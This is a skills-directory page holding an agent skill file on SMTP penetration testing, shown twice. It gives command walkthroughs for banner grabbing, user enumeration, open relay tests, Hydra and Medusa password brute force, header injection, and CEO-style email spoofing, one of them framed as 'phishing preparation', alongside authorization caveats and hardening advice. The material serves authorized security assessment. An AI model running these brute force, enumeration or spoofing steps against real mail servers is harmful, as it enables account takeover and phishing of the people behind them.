[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6CCBV5P4C1ZFS8E28F2PRZ7":3,"skill-same:01M6CCBV5P4C1ZFS8E28F2PRZ7":64},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":34,"linkOnly":35,"markdownContent":36,"markdownBody":37,"frontMatter":38,"refName":42,"commitSha":43,"skillDirectory":44,"forksCount":14,"repositoryHtmlUrl":45,"repositoryHomepageUrl":6,"ownerHtmlUrl":46,"ownerBlogUrl":47,"ownerDescription":48,"updatedAt":49,"install":50,"resources":63},"01M6CCBV5P4C1ZFS8E28F2PRZ7","SMTP Penetration Testing",null,"This skill should be used when the user asks to \"perform SMTP penetration testing\", \"enumerate email users\", \"test for open mail relays\", \"grab SMTP banners\", \"brute force email credentials\", or \"assess mail server security\". It provides comprehensive techniques for testing SMTP server security.","Gabriellmaia01\u002Fneuro-dose-assist","Gabriellmaia01","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F135177180?v=4","01M6CBRZEZC8G5C400AG3SPFNH","Gabriel","01M6CBRZK8MB7DWW0B4C82TV2G",0,"MIT","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fsmtp-penetration-testing\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33],"testing","penetration testing","smtp penetration testing","security","test","server","email","credentials","open","user","2026-11-10 10:12:30",false,"---\nname: SMTP Penetration Testing\ndescription: This skill should be used when the user asks to \"perform SMTP penetration testing\", \"enumerate email users\", \"test for open mail relays\", \"grab SMTP banners\", \"brute force email credentials\", or \"assess mail server security\". It provides comprehensive techniques for testing SMTP server security.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# SMTP Penetration Testing\n\n## Purpose\n\nConduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations.\n\n## Prerequisites\n\n### Required Tools\n```bash\n# Nmap with SMTP scripts\nsudo apt-get install nmap\n\n# Netcat\nsudo apt-get install netcat\n\n# Hydra for brute force\nsudo apt-get install hydra\n\n# SMTP user enumeration tool\nsudo apt-get install smtp-user-enum\n\n# Metasploit Framework\nmsfconsole\n```\n\n### Required Knowledge\n- SMTP protocol fundamentals\n- Email architecture (MTA, MDA, MUA)\n- DNS and MX records\n- Network protocols\n\n### Required Access\n- Target SMTP server IP\u002Fhostname\n- Written authorization for testing\n- Wordlists for enumeration and brute force\n\n## Outputs and Deliverables\n\n1. **SMTP Security Assessment Report** - Comprehensive vulnerability findings\n2. **User Enumeration Results** - Valid email addresses discovered\n3. **Relay Test Results** - Open relay status and exploitation potential\n4. **Remediation Recommendations** - Security hardening guidance\n\n## Core Workflow\n\n### Phase 1: SMTP Architecture Understanding\n\n```\nComponents: MTA (transfer) → MDA (delivery) → MUA (client)\n\nPorts: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative)\n\nWorkflow: Sender MUA → Sender MTA → DNS\u002FMX → Recipient MTA → MDA → Recipient MUA\n```\n\n### Phase 2: SMTP Service Discovery\n\nIdentify SMTP servers and versions:\n\n```bash\n# Discover SMTP ports\nnmap -p 25,465,587,2525 -sV TARGET_IP\n\n# Aggressive service detection\nnmap -sV -sC -p 25 TARGET_IP\n\n# SMTP-specific scripts\nnmap --script=smtp-* -p 25 TARGET_IP\n\n# Discover MX records for domain\ndig MX target.com\nnslookup -type=mx target.com\nhost -t mx target.com\n```\n\n### Phase 3: Banner Grabbing\n\nRetrieve SMTP server information:\n\n```bash\n# Using Telnet\ntelnet TARGET_IP 25\n# Response: 220 mail.target.com ESMTP Postfix\n\n# Using Netcat\nnc TARGET_IP 25\n# Response: 220 mail.target.com ESMTP\n\n# Using Nmap\nnmap -sV -p 25 TARGET_IP\n# Version detection extracts banner info\n\n# Manual SMTP commands\nEHLO test\n# Response reveals supported extensions\n```\n\nParse banner information:\n\n```\nBanner reveals:\n- Server software (Postfix, Sendmail, Exchange)\n- Version information\n- Hostname\n- Supported SMTP extensions (STARTTLS, AUTH, etc.)\n```\n\n### Phase 4: SMTP Command Enumeration\n\nTest available SMTP commands:\n\n```bash\n# Connect and test commands\nnc TARGET_IP 25\n\n# Initial greeting\nEHLO attacker.com\n\n# Response shows capabilities:\n250-mail.target.com\n250-PIPELINING\n250-SIZE 10240000\n250-VRFY\n250-ETRN\n250-STARTTLS\n250-AUTH PLAIN LOGIN\n250-8BITMIME\n250 DSN\n```\n\nKey commands to test:\n\n```bash\n# VRFY - Verify user exists\nVRFY admin\n250 2.1.5 admin@target.com\n\n# EXPN - Expand mailing list\nEXPN staff\n250 2.1.5 user1@target.com\n250 2.1.5 user2@target.com\n\n# RCPT TO - Recipient verification\nMAIL FROM:\u003Ctest@attacker.com>\nRCPT TO:\u003Cadmin@target.com>\n# 250 OK = user exists\n# 550 = user doesn't exist\n```\n\n### Phase 5: User Enumeration\n\nEnumerate valid email addresses:\n\n```bash\n# Using smtp-user-enum with VRFY\nsmtp-user-enum -M VRFY -U \u002Fusr\u002Fshare\u002Fwordlists\u002Fusers.txt -t TARGET_IP\n\n# Using EXPN method\nsmtp-user-enum -M EXPN -U \u002Fusr\u002Fshare\u002Fwordlists\u002Fusers.txt -t TARGET_IP\n\n# Using RCPT method\nsmtp-user-enum -M RCPT -U \u002Fusr\u002Fshare\u002Fwordlists\u002Fusers.txt -t TARGET_IP\n\n# Specify port and domain\nsmtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com\n```\n\nUsing Metasploit:\n\n```bash\nuse auxiliary\u002Fscanner\u002Fsmtp\u002Fsmtp_enum\nset RHOSTS TARGET_IP\nset USER_FILE \u002Fusr\u002Fshare\u002Fwordlists\u002Fmetasploit\u002Funix_users.txt\nset UNIXONLY true\nrun\n```\n\nUsing Nmap:\n\n```bash\n# SMTP user enumeration script\nnmap --script smtp-enum-users -p 25 TARGET_IP\n\n# With custom user list\nnmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP\n```\n\n### Phase 6: Open Relay Testing\n\nTest for unauthorized email relay:\n\n```bash\n# Using Nmap\nnmap -p 25 --script smtp-open-relay TARGET_IP\n\n# Manual testing via Telnet\ntelnet TARGET_IP 25\nHELO attacker.com\nMAIL FROM:\u003Ctest@attacker.com>\nRCPT TO:\u003Cvictim@external-domain.com>\nDATA\nSubject: Relay Test\nThis is a test.\n.\nQUIT\n\n# If accepted (250 OK), server is open relay\n```\n\nUsing Metasploit:\n\n```bash\nuse auxiliary\u002Fscanner\u002Fsmtp\u002Fsmtp_relay\nset RHOSTS TARGET_IP\nrun\n```\n\nTest variations:\n\n```bash\n# Test different sender\u002Frecipient combinations\nMAIL FROM:\u003C>\nMAIL FROM:\u003Ctest@[attacker_IP]>\nMAIL FROM:\u003Ctest@target.com>\n\nRCPT TO:\u003Ctest@external.com>\nRCPT TO:\u003C\"test@external.com\">\nRCPT TO:\u003Ctest%external.com@target.com>\n```\n\n### Phase 7: Brute Force Authentication\n\nTest for weak SMTP credentials:\n\n```bash\n# Using Hydra\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt smtp:\u002F\u002FTARGET_IP\n\n# With specific port and SSL\nhydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp\n\n# Multiple users\nhydra -L users.txt -P passwords.txt TARGET_IP smtp\n\n# Verbose output\nhydra -l admin -P passwords.txt smtp:\u002F\u002FTARGET_IP -V\n```\n\nUsing Medusa:\n\n```bash\nmedusa -h TARGET_IP -u admin -P \u002Fpath\u002Fto\u002Fpasswords.txt -M smtp\n```\n\nUsing Metasploit:\n\n```bash\nuse auxiliary\u002Fscanner\u002Fsmtp\u002Fsmtp_login\nset RHOSTS TARGET_IP\nset USER_FILE \u002Fpath\u002Fto\u002Fusers.txt\nset PASS_FILE \u002Fpath\u002Fto\u002Fpasswords.txt\nset VERBOSE true\nrun\n```\n\n### Phase 8: SMTP Command Injection\n\nTest for command injection vulnerabilities:\n\n```bash\n# Header injection test\nMAIL FROM:\u003Cattacker@test.com>\nRCPT TO:\u003Cvictim@target.com>\nDATA\nSubject: Test\nBcc: hidden@attacker.com\nX-Injected: malicious-header\n\nInjected content\n.\n```\n\nEmail spoofing test:\n\n```bash\n# Spoofed sender (tests SPF\u002FDKIM protection)\nMAIL FROM:\u003Cceo@target.com>\nRCPT TO:\u003Cemployee@target.com>\nDATA\nFrom: CEO \u003Cceo@target.com>\nSubject: Urgent Request\nPlease process this request immediately.\n.\n```\n\n### Phase 9: TLS\u002FSSL Security Testing\n\nTest encryption configuration:\n\n```bash\n# STARTTLS support check\nopenssl s_client -connect TARGET_IP:25 -starttls smtp\n\n# Direct SSL (port 465)\nopenssl s_client -connect TARGET_IP:465\n\n# Cipher enumeration\nnmap --script ssl-enum-ciphers -p 25 TARGET_IP\n```\n\n### Phase 10: SPF, DKIM, DMARC Analysis\n\nCheck email authentication records:\n\n```bash\n# SPF\u002FDKIM\u002FDMARC record lookups\ndig TXT target.com | grep spf            # SPF\ndig TXT selector._domainkey.target.com    # DKIM\ndig TXT _dmarc.target.com                 # DMARC\n\n# SPF policy: -all = strict fail, ~all = soft fail, ?all = neutral\n```\n\n## Quick Reference\n\n### Essential SMTP Commands\n\n| Command | Purpose | Example |\n|---------|---------|---------|\n| HELO | Identify client | `HELO client.com` |\n| EHLO | Extended HELO | `EHLO client.com` |\n| MAIL FROM | Set sender | `MAIL FROM:\u003Csender@test.com>` |\n| RCPT TO | Set recipient | `RCPT TO:\u003Cuser@target.com>` |\n| DATA | Start message body | `DATA` |\n| VRFY | Verify user | `VRFY admin` |\n| EXPN | Expand alias | `EXPN staff` |\n| QUIT | End session | `QUIT` |\n\n### SMTP Response Codes\n\n| Code | Meaning |\n|------|---------|\n| 220 | Service ready |\n| 221 | Closing connection |\n| 250 | OK \u002F Requested action completed |\n| 354 | Start mail input |\n| 421 | Service not available |\n| 450 | Mailbox unavailable |\n| 550 | User unknown \u002F Mailbox not found |\n| 553 | Mailbox name not allowed |\n\n### Enumeration Tool Commands\n\n| Tool | Command |\n|------|---------|\n| smtp-user-enum | `smtp-user-enum -M VRFY -U users.txt -t IP` |\n| Nmap | `nmap --script smtp-enum-users -p 25 IP` |\n| Metasploit | `use auxiliary\u002Fscanner\u002Fsmtp\u002Fsmtp_enum` |\n| Netcat | `nc IP 25` then manual commands |\n\n### Common Vulnerabilities\n\n| Vulnerability | Risk | Test Method |\n|--------------|------|-------------|\n| Open Relay | High | Relay test with external recipient |\n| User Enumeration | Medium | VRFY\u002FEXPN\u002FRCPT commands |\n| Banner Disclosure | Low | Banner grabbing |\n| Weak Auth | High | Brute force attack |\n| No TLS | Medium | STARTTLS test |\n| Missing SPF\u002FDKIM | Medium | DNS record lookup |\n\n## Constraints and Limitations\n\n### Legal Requirements\n- Only test SMTP servers you own or have authorization to test\n- Sending spam or malicious emails is illegal\n- Document all testing activities\n- Do not abuse discovered open relays\n\n### Technical Limitations\n- VRFY\u002FEXPN often disabled on modern servers\n- Rate limiting may slow enumeration\n- Some servers respond identically for valid\u002Finvalid users\n- Greylisting may delay enumeration responses\n\n### Ethical Boundaries\n- Never send actual spam through discovered relays\n- Do not harvest email addresses for malicious use\n- Report open relays to server administrators\n- Use findings only for authorized security improvement\n\n## Examples\n\n### Example 1: Complete SMTP Assessment\n\n**Scenario:** Full security assessment of mail server\n\n```bash\n# Step 1: Service discovery\nnmap -sV -sC -p 25,465,587 mail.target.com\n\n# Step 2: Banner grab\nnc mail.target.com 25\nEHLO test.com\nQUIT\n\n# Step 3: User enumeration\nsmtp-user-enum -M VRFY -U \u002Fusr\u002Fshare\u002Fseclists\u002FUsernames\u002Ftop-usernames-shortlist.txt -t mail.target.com\n\n# Step 4: Open relay test\nnmap -p 25 --script smtp-open-relay mail.target.com\n\n# Step 5: Authentication test\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Ffasttrack.txt smtp:\u002F\u002Fmail.target.com\n\n# Step 6: TLS check\nopenssl s_client -connect mail.target.com:25 -starttls smtp\n\n# Step 7: Check email authentication\ndig TXT target.com | grep spf\ndig TXT _dmarc.target.com\n```\n\n### Example 2: User Enumeration Attack\n\n**Scenario:** Enumerate valid users for phishing preparation\n\n```bash\n# Method 1: VRFY\nsmtp-user-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25\n\n# Method 2: RCPT with timing analysis\nsmtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com\n\n# Method 3: Metasploit\nmsfconsole\nuse auxiliary\u002Fscanner\u002Fsmtp\u002Fsmtp_enum\nset RHOSTS 192.168.1.100\nset USER_FILE \u002Fusr\u002Fshare\u002Fmetasploit-framework\u002Fdata\u002Fwordlists\u002Funix_users.txt\nrun\n\n# Results show valid users\n[+] 192.168.1.100:25 - Found user: admin\n[+] 192.168.1.100:25 - Found user: root\n[+] 192.168.1.100:25 - Found user: postmaster\n```\n\n### Example 3: Open Relay Exploitation\n\n**Scenario:** Test and document open relay vulnerability\n\n```bash\n# Test via Telnet\ntelnet mail.target.com 25\nHELO attacker.com\nMAIL FROM:\u003Ctest@attacker.com>\nRCPT TO:\u003Ctest@gmail.com>\n# If 250 OK - VULNERABLE\n\n# Document with Nmap\nnmap -p 25 --script smtp-open-relay --script-args smtp-open-relay.from=test@attacker.com,smtp-open-relay.to=test@external.com mail.target.com\n\n# Output:\n# PORT   STATE SERVICE\n# 25\u002Ftcp open  smtp\n# |_smtp-open-relay: Server is an open relay (14\u002F16 tests)\n```\n\n## Troubleshooting\n\n| Issue | Cause | Solution |\n|-------|-------|----------|\n| Connection Refused | Port blocked or closed | Check port with nmap; ISP may block port 25; try 587\u002F465; use VPN |\n| VRFY\u002FEXPN Disabled | Server hardened | Use RCPT TO method; analyze response time\u002Fcode variations |\n| Brute Force Blocked | Rate limiting\u002Flockout | Slow down (`hydra -W 5`); use password spraying; check for fail2ban |\n| SSL\u002FTLS Errors | Wrong port or protocol | Use 465 for SSL, 25\u002F587 for STARTTLS; verify EHLO response |\n\n## Security Recommendations\n\n### For Administrators\n\n1. **Disable Open Relay** - Require authentication for external delivery\n2. **Disable VRFY\u002FEXPN** - Prevent user enumeration\n3. **Enforce TLS** - Require STARTTLS for all connections\n4. **Implement SPF\u002FDKIM\u002FDMARC** - Prevent email spoofing\n5. **Rate Limiting** - Prevent brute force attacks\n6. **Account Lockout** - Lock accounts after failed attempts\n7. **Banner Hardening** - Minimize server information disclosure\n8. **Log Monitoring** - Alert on suspicious activity\n9. **Patch Management** - Keep SMTP software updated\n10. **Access Controls** - Restrict SMTP to authorized IPs\n","# SMTP Penetration Testing\n\n## Purpose\n\nConduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations.\n\n## Prerequisites\n\n### Required Tools\n```bash\n# Nmap with SMTP scripts\nsudo apt-get install nmap\n\n# Netcat\nsudo apt-get install netcat\n\n# Hydra for brute force\nsudo apt-get install hydra\n\n# SMTP user enumeration tool\nsudo apt-get install smtp-user-enum\n\n# Metasploit Framework\nmsfconsole\n```\n\n### Required Knowledge\n- SMTP protocol fundamentals\n- Email architecture (MTA, MDA, MUA)\n- DNS and MX records\n- Network protocols\n\n### Required Access\n- Target SMTP server IP\u002Fhostname\n- Written authorization for testing\n- Wordlists for enumeration and brute force\n\n## Outputs and Deliverables\n\n1. **SMTP Security Assessment Report** - Comprehensive vulnerability findings\n2. **User Enumeration Results** - Valid email addresses discovered\n3. **Relay Test Results** - Open relay status and exploitation potential\n4. **Remediation Recommendations** - Security hardening guidance\n\n## Core Workflow\n\n### Phase 1: SMTP Architecture Understanding\n\n```\nComponents: MTA (transfer) → MDA (delivery) → MUA (client)\n\nPorts: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative)\n\nWorkflow: Sender MUA → Sender MTA → DNS\u002FMX → Recipient MTA → MDA → Recipient MUA\n```\n\n### Phase 2: SMTP Service Discovery\n\nIdentify SMTP servers and versions:\n\n```bash\n# Discover SMTP ports\nnmap -p 25,465,587,2525 -sV TARGET_IP\n\n# Aggressive service detection\nnmap -sV -sC -p 25 TARGET_IP\n\n# SMTP-specific scripts\nnmap --script=smtp-* -p 25 TARGET_IP\n\n# Discover MX records for domain\ndig MX target.com\nnslookup -type=mx target.com\nhost -t mx target.com\n```\n\n### Phase 3: Banner Grabbing\n\nRetrieve SMTP server information:\n\n```bash\n# Using Telnet\ntelnet TARGET_IP 25\n# Response: 220 mail.target.com ESMTP Postfix\n\n# Using Netcat\nnc TARGET_IP 25\n# Response: 220 mail.target.com ESMTP\n\n# Using Nmap\nnmap -sV -p 25 TARGET_IP\n# Version detection extracts banner info\n\n# Manual SMTP commands\nEHLO test\n# Response reveals supported extensions\n```\n\nParse banner information:\n\n```\nBanner reveals:\n- Server software (Postfix, Sendmail, Exchange)\n- Version information\n- Hostname\n- Supported SMTP extensions (STARTTLS, AUTH, etc.)\n```\n\n### Phase 4: SMTP Command Enumeration\n\nTest available SMTP commands:\n\n```bash\n# Connect and test commands\nnc TARGET_IP 25\n\n# Initial greeting\nEHLO attacker.com\n\n# Response shows capabilities:\n250-mail.target.com\n250-PIPELINING\n250-SIZE 10240000\n250-VRFY\n250-ETRN\n250-STARTTLS\n250-AUTH PLAIN LOGIN\n250-8BITMIME\n250 DSN\n```\n\nKey commands to test:\n\n```bash\n# VRFY - Verify user exists\nVRFY admin\n250 2.1.5 admin@target.com\n\n# EXPN - Expand mailing list\nEXPN staff\n250 2.1.5 user1@target.com\n250 2.1.5 user2@target.com\n\n# RCPT TO - Recipient verification\nMAIL FROM:\u003Ctest@attacker.com>\nRCPT TO:\u003Cadmin@target.com>\n# 250 OK = user exists\n# 550 = user doesn't exist\n```\n\n### Phase 5: User Enumeration\n\nEnumerate valid email addresses:\n\n```bash\n# Using smtp-user-enum with VRFY\nsmtp-user-enum -M VRFY -U \u002Fusr\u002Fshare\u002Fwordlists\u002Fusers.txt -t TARGET_IP\n\n# Using EXPN method\nsmtp-user-enum -M EXPN -U \u002Fusr\u002Fshare\u002Fwordlists\u002Fusers.txt -t TARGET_IP\n\n# Using RCPT method\nsmtp-user-enum -M RCPT -U \u002Fusr\u002Fshare\u002Fwordlists\u002Fusers.txt -t TARGET_IP\n\n# Specify port and domain\nsmtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com\n```\n\nUsing Metasploit:\n\n```bash\nuse auxiliary\u002Fscanner\u002Fsmtp\u002Fsmtp_enum\nset RHOSTS TARGET_IP\nset USER_FILE \u002Fusr\u002Fshare\u002Fwordlists\u002Fmetasploit\u002Funix_users.txt\nset UNIXONLY true\nrun\n```\n\nUsing Nmap:\n\n```bash\n# SMTP user enumeration script\nnmap --script smtp-enum-users -p 25 TARGET_IP\n\n# With custom user list\nnmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP\n```\n\n### Phase 6: Open Relay Testing\n\nTest for unauthorized email relay:\n\n```bash\n# Using Nmap\nnmap -p 25 --script smtp-open-relay TARGET_IP\n\n# Manual testing via Telnet\ntelnet TARGET_IP 25\nHELO attacker.com\nMAIL FROM:\u003Ctest@attacker.com>\nRCPT TO:\u003Cvictim@external-domain.com>\nDATA\nSubject: Relay Test\nThis is a test.\n.\nQUIT\n\n# If accepted (250 OK), server is open relay\n```\n\nUsing Metasploit:\n\n```bash\nuse auxiliary\u002Fscanner\u002Fsmtp\u002Fsmtp_relay\nset RHOSTS TARGET_IP\nrun\n```\n\nTest variations:\n\n```bash\n# Test different sender\u002Frecipient combinations\nMAIL FROM:\u003C>\nMAIL FROM:\u003Ctest@[attacker_IP]>\nMAIL FROM:\u003Ctest@target.com>\n\nRCPT TO:\u003Ctest@external.com>\nRCPT TO:\u003C\"test@external.com\">\nRCPT TO:\u003Ctest%external.com@target.com>\n```\n\n### Phase 7: Brute Force Authentication\n\nTest for weak SMTP credentials:\n\n```bash\n# Using Hydra\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt smtp:\u002F\u002FTARGET_IP\n\n# With specific port and SSL\nhydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp\n\n# Multiple users\nhydra -L users.txt -P passwords.txt TARGET_IP smtp\n\n# Verbose output\nhydra -l admin -P passwords.txt smtp:\u002F\u002FTARGET_IP -V\n```\n\nUsing Medusa:\n\n```bash\nmedusa -h TARGET_IP -u admin -P \u002Fpath\u002Fto\u002Fpasswords.txt -M smtp\n```\n\nUsing Metasploit:\n\n```bash\nuse auxiliary\u002Fscanner\u002Fsmtp\u002Fsmtp_login\nset RHOSTS TARGET_IP\nset USER_FILE \u002Fpath\u002Fto\u002Fusers.txt\nset PASS_FILE \u002Fpath\u002Fto\u002Fpasswords.txt\nset VERBOSE true\nrun\n```\n\n### Phase 8: SMTP Command Injection\n\nTest for command injection vulnerabilities:\n\n```bash\n# Header injection test\nMAIL FROM:\u003Cattacker@test.com>\nRCPT TO:\u003Cvictim@target.com>\nDATA\nSubject: Test\nBcc: hidden@attacker.com\nX-Injected: malicious-header\n\nInjected content\n.\n```\n\nEmail spoofing test:\n\n```bash\n# Spoofed sender (tests SPF\u002FDKIM protection)\nMAIL FROM:\u003Cceo@target.com>\nRCPT TO:\u003Cemployee@target.com>\nDATA\nFrom: CEO \u003Cceo@target.com>\nSubject: Urgent Request\nPlease process this request immediately.\n.\n```\n\n### Phase 9: TLS\u002FSSL Security Testing\n\nTest encryption configuration:\n\n```bash\n# STARTTLS support check\nopenssl s_client -connect TARGET_IP:25 -starttls smtp\n\n# Direct SSL (port 465)\nopenssl s_client -connect TARGET_IP:465\n\n# Cipher enumeration\nnmap --script ssl-enum-ciphers -p 25 TARGET_IP\n```\n\n### Phase 10: SPF, DKIM, DMARC Analysis\n\nCheck email authentication records:\n\n```bash\n# SPF\u002FDKIM\u002FDMARC record lookups\ndig TXT target.com | grep spf            # SPF\ndig TXT selector._domainkey.target.com    # DKIM\ndig TXT _dmarc.target.com                 # DMARC\n\n# SPF policy: -all = strict fail, ~all = soft fail, ?all = neutral\n```\n\n## Quick Reference\n\n### Essential SMTP Commands\n\n| Command | Purpose | Example |\n|---------|---------|---------|\n| HELO | Identify client | `HELO client.com` |\n| EHLO | Extended HELO | `EHLO client.com` |\n| MAIL FROM | Set sender | `MAIL FROM:\u003Csender@test.com>` |\n| RCPT TO | Set recipient | `RCPT TO:\u003Cuser@target.com>` |\n| DATA | Start message body | `DATA` |\n| VRFY | Verify user | `VRFY admin` |\n| EXPN | Expand alias | `EXPN staff` |\n| QUIT | End session | `QUIT` |\n\n### SMTP Response Codes\n\n| Code | Meaning |\n|------|---------|\n| 220 | Service ready |\n| 221 | Closing connection |\n| 250 | OK \u002F Requested action completed |\n| 354 | Start mail input |\n| 421 | Service not available |\n| 450 | Mailbox unavailable |\n| 550 | User unknown \u002F Mailbox not found |\n| 553 | Mailbox name not allowed |\n\n### Enumeration Tool Commands\n\n| Tool | Command |\n|------|---------|\n| smtp-user-enum | `smtp-user-enum -M VRFY -U users.txt -t IP` |\n| Nmap | `nmap --script smtp-enum-users -p 25 IP` |\n| Metasploit | `use auxiliary\u002Fscanner\u002Fsmtp\u002Fsmtp_enum` |\n| Netcat | `nc IP 25` then manual commands |\n\n### Common Vulnerabilities\n\n| Vulnerability | Risk | Test Method |\n|--------------|------|-------------|\n| Open Relay | High | Relay test with external recipient |\n| User Enumeration | Medium | VRFY\u002FEXPN\u002FRCPT commands |\n| Banner Disclosure | Low | Banner grabbing |\n| Weak Auth | High | Brute force attack |\n| No TLS | Medium | STARTTLS test |\n| Missing SPF\u002FDKIM | Medium | DNS record lookup |\n\n## Constraints and Limitations\n\n### Legal Requirements\n- Only test SMTP servers you own or have authorization to test\n- Sending spam or malicious emails is illegal\n- Document all testing activities\n- Do not abuse discovered open relays\n\n### Technical Limitations\n- VRFY\u002FEXPN often disabled on modern servers\n- Rate limiting may slow enumeration\n- Some servers respond identically for valid\u002Finvalid users\n- Greylisting may delay enumeration responses\n\n### Ethical Boundaries\n- Never send actual spam through discovered relays\n- Do not harvest email addresses for malicious use\n- Report open relays to server administrators\n- Use findings only for authorized security improvement\n\n## Examples\n\n### Example 1: Complete SMTP Assessment\n\n**Scenario:** Full security assessment of mail server\n\n```bash\n# Step 1: Service discovery\nnmap -sV -sC -p 25,465,587 mail.target.com\n\n# Step 2: Banner grab\nnc mail.target.com 25\nEHLO test.com\nQUIT\n\n# Step 3: User enumeration\nsmtp-user-enum -M VRFY -U \u002Fusr\u002Fshare\u002Fseclists\u002FUsernames\u002Ftop-usernames-shortlist.txt -t mail.target.com\n\n# Step 4: Open relay test\nnmap -p 25 --script smtp-open-relay mail.target.com\n\n# Step 5: Authentication test\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Ffasttrack.txt smtp:\u002F\u002Fmail.target.com\n\n# Step 6: TLS check\nopenssl s_client -connect mail.target.com:25 -starttls smtp\n\n# Step 7: Check email authentication\ndig TXT target.com | grep spf\ndig TXT _dmarc.target.com\n```\n\n### Example 2: User Enumeration Attack\n\n**Scenario:** Enumerate valid users for phishing preparation\n\n```bash\n# Method 1: VRFY\nsmtp-user-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25\n\n# Method 2: RCPT with timing analysis\nsmtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com\n\n# Method 3: Metasploit\nmsfconsole\nuse auxiliary\u002Fscanner\u002Fsmtp\u002Fsmtp_enum\nset RHOSTS 192.168.1.100\nset USER_FILE \u002Fusr\u002Fshare\u002Fmetasploit-framework\u002Fdata\u002Fwordlists\u002Funix_users.txt\nrun\n\n# Results show valid users\n[+] 192.168.1.100:25 - Found user: admin\n[+] 192.168.1.100:25 - Found user: root\n[+] 192.168.1.100:25 - Found user: postmaster\n```\n\n### Example 3: Open Relay Exploitation\n\n**Scenario:** Test and document open relay vulnerability\n\n```bash\n# Test via Telnet\ntelnet mail.target.com 25\nHELO attacker.com\nMAIL FROM:\u003Ctest@attacker.com>\nRCPT TO:\u003Ctest@gmail.com>\n# If 250 OK - VULNERABLE\n\n# Document with Nmap\nnmap -p 25 --script smtp-open-relay --script-args smtp-open-relay.from=test@attacker.com,smtp-open-relay.to=test@external.com mail.target.com\n\n# Output:\n# PORT   STATE SERVICE\n# 25\u002Ftcp open  smtp\n# |_smtp-open-relay: Server is an open relay (14\u002F16 tests)\n```\n\n## Troubleshooting\n\n| Issue | Cause | Solution |\n|-------|-------|----------|\n| Connection Refused | Port blocked or closed | Check port with nmap; ISP may block port 25; try 587\u002F465; use VPN |\n| VRFY\u002FEXPN Disabled | Server hardened | Use RCPT TO method; analyze response time\u002Fcode variations |\n| Brute Force Blocked | Rate limiting\u002Flockout | Slow down (`hydra -W 5`); use password spraying; check for fail2ban |\n| SSL\u002FTLS Errors | Wrong port or protocol | Use 465 for SSL, 25\u002F587 for STARTTLS; verify EHLO response |\n\n## Security Recommendations\n\n### For Administrators\n\n1. **Disable Open Relay** - Require authentication for external delivery\n2. **Disable VRFY\u002FEXPN** - Prevent user enumeration\n3. **Enforce TLS** - Require STARTTLS for all connections\n4. **Implement SPF\u002FDKIM\u002FDMARC** - Prevent email spoofing\n5. **Rate Limiting** - Prevent brute force attacks\n6. **Account Lockout** - Lock accounts after failed attempts\n7. **Banner Hardening** - Minimize server information disclosure\n8. **Log Monitoring** - Alert on suspicious activity\n9. **Patch Management** - Keep SMTP software updated\n10. **Access Controls** - Restrict SMTP to authorized IPs\n",{"name":5,"metadata":39,"description":7},{"author":40,"version":41},"zebbern","1.1","main","eac60cc6e0b6baa2a05a765a851fb10638f4e733",".agent\u002Fskills\u002Fskills\u002Fsmtp-penetration-testing","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist","https:\u002F\u002Fgithub.com\u002FGabriellmaia01","https:\u002F\u002Fportfolio-bice-theta-81.vercel.app\u002F","💻 Desenvolvimento De Software_\r\n\r\n⚙️ Engenharia De Software\r\n","2026-11-10 08:31:19",{"source":8,"skillName":5,"commands":51,"prompt":61,"zipAvailable":62},[52,55,58],{"tool":53,"command":54},"npx","npx skills add Gabriellmaia01\u002Fneuro-dose-assist --skill \"SMTP Penetration Testing\"",{"tool":56,"command":57},"bunx","bunx skills add Gabriellmaia01\u002Fneuro-dose-assist --skill \"SMTP Penetration Testing\"",{"tool":59,"command":60},"pnpm","pnpm dlx skills add Gabriellmaia01\u002Fneuro-dose-assist --skill \"SMTP Penetration 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Zapier and Make (formerly Integromat) let non-developers automate business processes without writing code. But no-code doesn't mean no-complexity - these platforms have their own patterns, pitfalls, and breaking points.  This skill covers when to use which platform, how to build reliable automations, and when to graduate to code-based solutions. Key insight: Zapier optimizes for simplicity and integrations (7000+ apps), Make optimizes for 